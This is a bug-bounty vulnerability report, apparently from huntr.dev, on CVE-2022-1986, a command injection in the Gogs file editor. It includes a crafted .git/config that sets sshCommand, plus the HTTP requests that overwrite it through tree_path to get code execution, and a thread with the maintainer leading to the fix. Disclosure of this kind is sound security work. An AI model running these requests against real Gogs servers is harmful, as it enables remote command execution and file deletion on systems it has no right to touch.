OS Command Injection in file editor in gogs/gogs

0

✓ Valid Reported on Jun 1st 2022

Description

Deploy and run gogs.

Proof of Concept

Create a repository and upload a file named `config` to the repository `repo6` . The content of the file is as follows:

```
[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    ignorecase = true
    precomposeunicode = true
    sshCommand = notepad
[remote "origin"]
    url = git@github.com:torvalds/linux.git
    fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
    remote = origin
    merge = refs/heads/master
```

2.The attacker can remove the `.git/config` file.
http request:

```
POST /admin1/repo6/_delete/master/.git/config HTTP/1.1
Host: 192.168.1.59:3000
Content-Length: 130
Cache-Control: max-age=0
```

```
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-CN; i_like_gogs=858a2bd132c75d53
Connection: close

_csrf=PuAr2ZVY2NpoEOR1se-J81LVboM6MTY1NDAwODAzNDgzNDEwOTAwMA&commit_summary
```

The attacker can set **tree_path** `tree_path=.git/config` to move a file into the `.git/config` directory.
http request:

```
POST /admin1/repo6/_edit/master/aaa/config HTTP/1.1
Host: 192.168.1.59:3000
Content-Length: 722
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-CN; i_like_gogs=858a2bd132c75d53
Connection: close

_csrf=CQ7KgJoDP2oI1xKrj0bx1GtYiQ46MTY1NDAwNzk1MjA5ODk5MTQwMA&last_commit=11
```

Note: Write or rewrite the `.git/config` file (the `core.sshCommand` was already set), which leads to remote command execution vulnerability.
Then the command `notepad` executed on the server.

Impact

1.This vulnerability is capable of `executing commands` on the remote server and gain the privileged user account, which leads sensitive data exposure, identity theft, etc.
2.Delete arbitrary files, such as `gogs/custom/conf/app.ini`

3.Write the file to another path.

Occurrences

repo_editor.go L468-L484

CVE
CVE-2022-1986
(Published)

Vulnerability Type
CWE-78: OS Command Injection

Severity
Critical (10)

Registry
Golang

Affected Version
<=0.12.8

Visibility
Public

Status
Fixed

Found by

1135
@1135
legend

This report was seen 1,143 times.

We are processing your report and will contact the **gogs** team within 24 hou

Chat with us

1135 6 months ago Researcher

The video is here. https://streamable.com/2g0gn6
For privacy reasons, it will be deleted in about a week.

We have contacted a member of the **gogs** team and are waiting to hear back 6 months ago

Joe Chen 6 months ago

Thanks for the report!

Could you specific which commit you're testing against?

I think the second part "The attacker can set tree_path tree_path=.git/config to move a file into the .git/config directory." has already been reported and fixed in https://github.com/gogs/gogs/commit/90bc75229726a24a28507d3e8178f86734f112e1

1135 6 months ago Researcher

The test was done on the commit you just mentioned. (=0.12.8)

This is the newly discovered bypass. This RCE is currently only reproduced in Windows.

Using `os.PathSeparator` only in `isRepositoryGitPath` actually lacks consideration.

As we known, the `os.PathSeparator` is equivalent to `\` in Windows.

However, the test found that either `/` or `\` can write files to directories in gogs.

So both `/` and `\` should be considered.

1135 6 months ago Researcher

Another vulnerability is path traversal, which may be independent of the system and can delete arbitrary files.

The `..` should be considered. Such as here https://github.com/gogs/gogs/blob/509a392272a2ba2bde9d64bf5a55a58d0eadccc4/internal/tool/path.go#L21

Joe Chen 6 months ago

Got it, will try to reproduce.

Regarding "delete arbitrary files", do you want to create another report?

1135 6 months ago

Researcher

Yes. https://huntr.dev/bounties/2e8cdc57-a9cf-46ae-9088-87f09e6c90ab/

A **gogs/gogs** maintainer has acknowledged this report 6 months ago

Joe Chen validated this vulnerability 6 months ago

1135 has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

We have sent a fix follow up to the **gogs** team. We will try again in 7 days. 6 months ago

Joe Chen marked this as fixed in **0.12.9** with commit **38aff7** 6 months ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

repo_editor.go#L468-L484 has been validated ✓

Sign in to join this conversation

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team

Chat with us